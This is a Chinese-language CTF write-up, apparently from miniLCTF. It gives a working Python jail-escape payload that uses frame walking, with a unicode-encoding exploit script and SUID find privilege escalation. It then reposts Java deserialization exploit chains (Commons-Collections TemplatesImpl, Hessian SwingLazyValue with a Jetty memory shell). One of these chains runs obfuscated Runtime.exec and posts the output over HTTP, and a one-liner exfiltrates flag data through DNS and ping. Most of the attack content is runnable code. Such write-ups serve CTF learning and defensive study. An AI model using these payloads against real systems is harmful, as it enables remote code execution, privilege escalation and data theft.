traceback 里包含 tb_frame → 指向异常发生的 栈帧 frame 对象

frame 里包含 f_localsf_globalsf_back → 可以沿着链条访问之前的局部变量、全局变量、调用栈

可以逃逸到exec外的全局拿__builtins__

那么Payload:(官方)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
text=")
list=lambda x:True
len=lambda x:False

try:
1/0
except Exception as e:
frame = e.__traceback__.tb_frame.f_back
builtins = frame.f_globals['__builtins__']
builtins.exec("builtins.__import__('os').system('ls / -al>app.py')")
print("


#触发异常 :try 块中的代码 1/0 会导致一个 ZeroDivisionError 异常,因为除数为 0。这是故意引发的一个异常,用于演示如何通过异常获取栈帧信息。
#获取异常对象 :except Exception as e 捕获了这个异常,并将其存储在变量 e 中。
#获取栈帧对象 :e.__traceback__.tb_frame 获取了异常的回溯对象(traceback)中的栈帧对象。tb_frame 是回溯对象中的一个属性,表示异常发生时的栈帧。
#获取上一个栈帧 :f_back 是栈帧对象的一个属性,表示当前栈帧的上一个栈帧。这里使用 f_back 是为了获取异常发生时的上一个栈帧,也就是调用 try 块的栈帧。
#获取内置模块 :frame.f_globals['__builtins__'] 从获取到的栈帧的全局变量中获取 __builtins__,即 Python 的内置模块。

#unicode编码
因为有len(output)<=5限制,可以当没回显来打(写app.py或者创建static目录往里写),也可以一点一点读

然后当前用户minilUser没权限读/m1n1FL@G,需要提权,很简单suid提权,24级的网安导论实验也有这内容

查看entrypoint.sh就可以知道了find有suid权限,也可以find / -perm -4000 -type f 2>/dev/null

#!/bin/sh

echo $FLAG > /m1n1FL@G
echo "\nNext, let's tackle the more challenging misc/pyjail">> /m1n1FL@G
chmod 600 /m1n1FL@G
chown root:root /m1n1FL@G

chmod 4755 /usr/bin/find

useradd -m minilUser
export FLAG=""
chmod -R 777 /app
su minilUser -c "python /app/app.py"
然后find . -exec cat /m1* \; >app.py

但是跟着打打不出来,就当学了个知识了吧(),然后换个思路,用yeild关键字生成器

python yield关键字(生成器Generators)(延迟计算、惰性求值、缓式求值)(生成器表达式generator expressions)(生成器表达式、链接生成器)-CSDN博客

因为有输出长度限制,也可以一次只读几个,然后分成几行一起读,最后拼接输出:

(思路还是跟上面一样)

大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests

def to_unicode(code: str) -> str:
BLACKLIST = set(list(r"\"'|&`+-*/()[]{}_."))

parts = []
for ch in code:
if ch in BLACKLIST:
parts.append("\\u%04x" % ord(ch))
else:
parts.append(ch)
return "".join(parts)

CODE = r"""")
__builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__']
__builtins__['len'] = lambda x: 0
def f():
global x, frame
frame = x.gi_frame.f_back.f_back.f_back.f_globals
yield
x = f()
x.send(None)
print(frame['__builtins__']['__import__']('os').popen('CMD').read()[N1:N2])
("\""""

URL = "http://127.0.0.1:35834/execute"
COMMAND = r"find / -name m1n1FL@G -exec cat {} \;"

#依次是:r"ls -l /"
#然后读root
#读entrypoint.sh
#find / -perm -4000 -type f 2>/dev/null提权
#find / -name m1n1FL@G -exec cat {} \;



result = ""

for i in range(0, 50, 2):
resp = requests.post(URL, data={"text": to_unicode(CODE.replace("CMD", COMMAND).replace("N1", str(i)).replace("N2", str(i + 2)))})
output = resp.text[1:-1]
print(output)
result += output

print(result)


miniLCTF{53Cr3t_f10G_in-sN@K3_Y3ar_🐍Q13feaa2d}

PS:改天也更新一下这两者逃逸方式算了

非复现:

下面的JAVA还没学,先贴个WP

ezCC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
package com.kkayu;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Solve {
public static void main(String[] args) throws Exception {
byte[] byteCode = getPayload();
String base64Payload = Base64.getEncoder().encodeToString(byteCode);
System.out.println(base64Payload);
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] getBytecode() throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.importPackage("java.io");
pool.importPackage("java.net");
pool.importPackage("java.lang.reflect");
CtClass ctClass = pool.makeClass("A");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
String body = "public A(){\n" +
" try {\n" +
" java.util.Base64.Decoder d = java.util.Base64.getDecoder();\n" +
" String cmdB64 = \"ZW52\";\n" +
" Class cls = Class.forName(new String(d.decode(\"amF2YS5sYW5nLlJ1bnRpbWU=\")));\n" +
" Object rt = cls.getMethod(new String(d.decode(\"Z2V0UnVudGltZQ==\")), new Class[0]).invoke(null, null);\n" +
" Process p = (Process) cls.getMethod(new String(d.decode(\"ZXhlYw==\")), new Class[] { String.class })\n" +
" .invoke(rt, new Object[] { new String(d.decode(cmdB64)) });\n" +
" BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));\n" +
" StringBuilder sb = new StringBuilder();\n" +
" String l;\n" +
" while ((l = r.readLine()) != null) {\n" +
" sb.append(l);\n" +
" }\n" +
" p.waitFor();\n" +
" r.close();\n" +
" String f = sb.toString();\n" +
" String tu = \"http://127.0.0.1:8080/handle\";\n" +
" byte[] pdb = (\"data=\" + URLEncoder.encode(f, \"UTF-8\")).getBytes(\"UTF-8\");\n" +
" HttpURLConnection c = (HttpURLConnection) new URL(tu).openConnection();\n" +
" c.setRequestMethod(\"POST\");\n" +
" c.setRequestProperty(\"Content-Type\", \"application/x-www-form-urlencoded\");\n" +
" c.setRequestProperty(\"Content-Length\", \"\" + pdb.length);\n" +
" c.setDoOutput(true);\n" +
" OutputStream os = null;\n" +
" try {\n" +
" os = c.getOutputStream();\n" +
" os.write(pdb);\n" +
" } finally {\n" +
" if (os != null) {\n" +
" try {\n" +
" os.close();\n" +
" } catch (Exception closeEx) {}\n" +
" }\n" +
" }\n" +
" c.getResponseCode();\n" +
" } catch (Exception ignored) {}\n" +
"}";
CtConstructor constructor = CtNewConstructor.make(body, ctClass);
ctClass.addConstructor(constructor);
ctClass.writeFile(".");
byte[] bytecode = ctClass.toBytecode();
ctClass.defrost();
return bytecode;
}

public static byte[] getPayload() throws Exception {
byte[] bytecode = getBytecode();

TemplatesImpl tpl = new TemplatesImpl();
setFieldValue(tpl, "_bytecodes", new byte[][] { bytecode });
setFieldValue(tpl, "_name", "NOT NULL");

Transformer transformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { tpl });

Transformer fakeTransformer = new ConstantTransformer(1);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, fakeTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, TrAXFilter.class);
Map map = new HashMap();
map.put(tiedMapEntry, "value");

outerMap.remove(TrAXFilter.class);

setFieldValue(outerMap, "factory", transformer);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();

return baos.toByteArray();
}
}

ezHessian

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
boolean isLinux = True;
SwingLazyValue execute = new SwingLazyValue(
MethodUtil.class.getName(),
"whatever",
new Object[]{
MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class),
new Object(),
new Object[]{
Runtime.class.getDeclaredMethod("exec", String[].class),
Runtime.getRuntime(),
new Object[]{
new String[]{
isLinux ? "sh" : "cmd",
isLinux ? "-c" : "/c",
"whatever"
}
}
}
}
);

在本地测试后可以 RCE。但是远程碰到的核心问题就是怎么得到回显,一般的思路是先判断是否出网,能出网那便一切顺利,不然就要考虑其他的回显方式,测信道,内存马等方法(后面要考)。

RCE 利用

但是因为平台的限制,无法直接弹 shell,但是 DNS 流量是出网的,可以利用 DNS 的方式回显命令执行的结果,这个命令也是文章里现有的。。。这里有个坑点,alpine 的镜像没有 curl,可以使用 pingwget

1
echo "$(/readflag give me the flag | xxd -p -c 256 | sed 's/^\(.\{50\}\).*$/\1/').dnslog" | xargs ping

hdHessian

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
package org.example;  

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;

import sun.misc.BASE64Decoder;
import sun.reflect.ReflectionFactory;
import sun.reflect.misc.MethodUtil;

import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;

import javax.swing.*;

import java.io.*;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.TreeMap;
import java.util.TreeSet;
import java.lang.String;


/**
* whatever equals * MultiUIDefaults toString * UIDefaults get * SwingLazyValue createValue * rce */
public class App {
static boolean isLinux = true;
static String tmpPath = isLinux ? "/tmp/" : "C:\\Windows\\Temp\\";
static String evilPath = tmpPath + "evil.xslt";
static String template = "yourProject\\src\\main\\misc\\template.xslt";
static String evilClass = "yourProject\\target\\classes\\JettyFilterMemoryShell.class";
static String filterClass = "yourProject\\target\\classes\\JettyFilter.class";
static String targetURL ="http://127.0.0.1:8080";
static Base64.Encoder encoder = Base64.getEncoder();


public static void main(String[] args) throws Exception {
// read memory shell bytes
FileInputStream fis = new FileInputStream(evilClass);
byte[] evilBytes = new byte[fis.available()];
fis.read(evilBytes);
fis.close();

fis = new FileInputStream(filterClass);
byte[] filterClass = new byte[fis.available()];
fis.read(filterClass);
fis.close();
System.out.println(new String(encoder.encode(filterClass)));

// write evil bytes to template
fis = new FileInputStream(template);
byte[] templateBytes = new byte[fis.available()];
fis.read(templateBytes);
fis.close();

// base64 encoded classBytes to bypass 'java' waf
byte[] evilXSLT = new String(templateBytes)
.replace("<payload>", new String(encoder.encode(evilBytes)))
.getBytes();

// define SwingLazyValue payload to send
SwingLazyValue writeFile = new SwingLazyValue(
"com.sun.org.apache.xml.internal.security.utils.JavaUtils",
"writeBytesToFilename",
new Object[]{
evilPath,
evilXSLT
}
);

SwingLazyValue execute = new SwingLazyValue(
MethodUtil.class.getName(),
"whatever",
new Object[]{
MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class),
new Object(),
new Object[]{
Runtime.class.getDeclaredMethod("exec", String[].class),
Runtime.getRuntime(),
new Object[]{
new String[]{
isLinux ? "sh" : "cmd",
isLinux ? "-c" : "/c",
"whatever"
}
}
}
}
);

SwingLazyValue runXSLT = new SwingLazyValue(
"com.sun.org.apache.xalan.internal.xslt.Process",
"_main",
new Object[]{new String[]{"-XT", "-XSL", evilPath}}
);


Object o1 = makePayload(writeFile);
// Object o2 = makePayload(execute);
Object o3 = makePayload(runXSLT);

String payload1 = convertPayload(o1);
// String payload2 = convertPayload(o2);
String payload3 = convertPayload(o3);

// testObject(payload2);

System.out.println(sendPost(targetURL, "ser", payload1));
// System.out.println(sendPost(targetURL, "ser", payload2));
System.out.println(sendPost(targetURL, "ser", payload3));
System.out.println(sendPost(targetURL, "cmd", "ls"));


}

public static String convertPayload(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2OutputWithOverlongEncoding(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);

hessian2Output.writeObject(o);
hessian2Output.flush();
byte[] bytes = baos.toByteArray();
return new String(encoder.encode(bytes));
}

public static void testObject(String payload) {
try {
byte[] bytes = new BASE64Decoder().decodeBuffer(payload);
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
System.out.println(o);
} catch (Exception e) {
e.printStackTrace();
}
}

public static Object makePayload(SwingLazyValue swingLazyValue) throws Exception {
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("test", swingLazyValue);

MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);

Constructor typeConstructor = Class.forName("javax.sound.sampled.AudioFileFormat$Type").getConstructor(String.class, String.class);
typeConstructor.setAccessible(true);
Object type = typeConstructor.newInstance("", "");
setFieldValue(type, "name", null);

Object rdnEntry1 = newInstance("javax.naming.ldap.Rdn$RdnEntry", null);
Object rdnEntry2 = newInstance("javax.naming.ldap.Rdn$RdnEntry", null);
setFieldValue(rdnEntry1, "type", "");
setFieldValue(rdnEntry1, "value", mimeTypeParameterList);
setFieldValue(rdnEntry2, "type", "");
setFieldValue(rdnEntry2, "value", type);

// make mimeTypeParameterList before Type
TreeSet treeSet = makeTreeSet(rdnEntry1, rdnEntry2);
return treeSet;
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true);
else if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
return field;
} catch (NoSuchFieldException e) {
if (!clazz.getSuperclass().equals(Object.class)) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}

public static Object newInstance(String className, Object... args) throws Exception {
Class<?> clazz = Class.forName(className);
if (args != null) {
Class<?>[] argTypes = new Class[args.length];
for (int i = 0; i < args.length; i++) {
argTypes[i] = args[i].getClass();
}
Constructor constructor = clazz.getDeclaredConstructor(argTypes);
constructor.setAccessible(true);
return constructor.newInstance(args);
} else {
Constructor constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
return constructor.newInstance();
}
}

public static TreeSet makeTreeSet(Object o1, Object o2) throws Exception {
TreeMap m = new TreeMap();
setFieldValue(m, "size", 2);
setFieldValue(m, "modCount", 2);
Class nodeC = Class.forName("java.util.TreeMap$Entry");
Constructor nodeCst = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
nodeCst.setAccessible(true);
Object node = nodeCst.newInstance(o1, new Object[0], null);
Object right = nodeCst.newInstance(o2, new Object[0], node);
setFieldValue(node, "right", right);
setFieldValue(m, "root", node);
TreeSet set = new TreeSet();
setFieldValue(set, "m", m);
return set;
}

public static String joinPath(String... paths) {
StringBuilder finalPath = new StringBuilder();
for (String path : paths) {
if (isLinux) {
finalPath.append("/").append(path);
} else {
finalPath.append("\\").append(path);
}
}
return finalPath.toString();
}

public static String sendPost(String urlStr, String paramName, String paramValue) throws IOException {
URL url = new URL(urlStr);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();

connection.setRequestMethod("POST");
connection.setDoOutput(true);

connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");

String urlParameters = paramName + "=" + URLEncoder.encode(paramValue, "UTF-8");

try (DataOutputStream out = new DataOutputStream(connection.getOutputStream())) {
out.writeBytes(urlParameters);
out.flush();
}

int responseCode = connection.getResponseCode();

StringBuilder response = new StringBuilder();
try (BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()))) {
String inputLine;
while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
}

return "Response Code: " + responseCode + "\n" + "Response: " + response;
}
}